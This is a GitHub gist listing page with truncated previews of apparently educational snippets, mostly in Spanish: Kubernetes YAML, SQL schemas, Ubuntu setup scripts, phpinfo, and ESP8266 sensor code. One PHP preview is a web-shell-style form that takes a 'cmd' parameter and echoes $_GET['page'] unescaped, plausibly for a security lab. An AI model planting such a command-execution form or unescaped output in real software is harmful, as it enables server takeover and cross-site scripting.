This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apiVersion: apps/v1 | |
| kind: Deployment | |
| metadata: | |
| name: deployment-webserver | |
| labels: | |
| app: php-apache | |
| spec: | |
| replicas: 1 | |
| selector: | |
| matchLabels: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| DROP DATABASE IF EXISTS universidad; | |
| CREATE DATABASE universidad CHARACTER SET utf8mb4; | |
| USE universidad; | |
| CREATE TABLE departamento ( | |
| id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY, | |
| nombre VARCHAR(50) NOT NULL | |
| ); | |
| CREATE TABLE alumno ( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -x | |
| # Descargamos el archivo sources.list para Ubuntu 20.04 | |
| cd /etc/apt/sources.list.d/ | |
| rm ubuntu.list | |
| wget https://gist.githubusercontent.com/josejuansanchez/f8c08133b6be6f4a98165210ff9cadf2/raw/e8883e8dc473fc6896a64907615f4b445f2db2e4/ubuntu.list | |
| # Eliminamos el archivo de guadalinexedusc.list | |
| rm /etc/apt/sources.list.d/guadalinexedusc.list |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| set -x | |
| # Habilitamos el uso de la arquitectura i386 | |
| sudo dpkg --add-architecture i386 | |
| sudo apt update | |
| # Instalamos los paquetes | |
| sudo apt install lib32z1 -y | |
| sudo apt install libx11-6:i386 -y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| phpinfo(); | |
| ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <form method="get" action=""> | |
| <input type="hidden" name="page" id="page" value="<?php echo $_GET['page']; ?>"> | |
| <input type="text" name="cmd" id="cmd" size="80"> | |
| <input type="submit" value="Ejecutar"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
This file has been truncated, but you can view the full file.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- Sakila Sample Database Schema | |
| -- Version 1.0 | |
| -- Copyright (c) 2006, 2015, Oracle and/or its affiliates. | |
| -- All rights reserved. | |
| -- Redistribution and use in source and binary forms, with or without | |
| -- modification, are permitted provided that the following conditions are met: | |
| -- * Redistributions of source code must retain the above copyright notice, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| -- Sakila Sample Database Schema | |
| -- Version 1.0 | |
| -- Copyright (c) 2006, 2015, Oracle and/or its affiliates. | |
| -- All rights reserved. | |
| -- Redistribution and use in source and binary forms, with or without | |
| -- modification, are permitted provided that the following conditions are met: | |
| -- * Redistributions of source code must retain the above copyright notice, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <OneWire.h> | |
| #include <ESP8266WiFi.h> | |
| #include "Adafruit_MQTT.h" | |
| #include "Adafruit_MQTT_Client.h" | |
| //--- | |
| OneWire ds(4); | |
| byte type_s; | |
| byte data[12]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include "DHT.h" | |
| #include <OneWire.h> | |
| #include <ESP8266WiFi.h> | |
| #include "Adafruit_MQTT.h" | |
| #include "Adafruit_MQTT_Client.h" | |
| #define DHTPIN D4 | |
| #define DHTTYPE DHT11 | |
| DHT dht(DHTPIN, DHTTYPE); |